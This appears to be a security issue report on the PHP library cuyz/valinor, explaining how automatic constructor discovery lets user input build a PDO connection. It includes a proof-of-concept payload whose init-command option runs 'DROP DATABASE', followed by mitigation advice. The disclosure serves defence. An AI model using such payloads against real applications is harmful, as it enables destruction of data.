Design issue – automatic constructor discovery
The issue arises when upgrading from cuyz/valinor:0.3.0 to a newer system on an existing application, which broke due to the wrong constructor being picked.
Still, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.
Example exploit
Take following DTO example:
final class UserDTO
{
public function __construct(
public int $id,
public string $name
) {}
public static function fromDb(
PDO $connection,
int $id
): self { /* ... code to fetch the DTO here ... */ }
}
There is nothing inherently unsafe about the above UserDTO, but when mixed with cuyz/valinor:^0.5.0 ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:
// this could be coming from user input:
$maliciousPayload = [
'connection' => [
'dsn' => 'mysql:host=some-host;database=some-database',
'username' => 'root',
'password' => 'root',
'options' => [
// PDO::MYSQL_ATTR_INIT_COMMAND === 1002
1002 => 'DROP DATABASE all-the-moneys'
]
],
'id' => 123,
];
$treeMapper->map(
UserDTO::class,
$maliciousPayload
); // your DB is gone :D
The above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.
Mitigation
Version 0.7.0 contains a patch for this issue.
Automatic named constructor resolution should be disabled – only explicitly mapped named constructors should be used/discovered.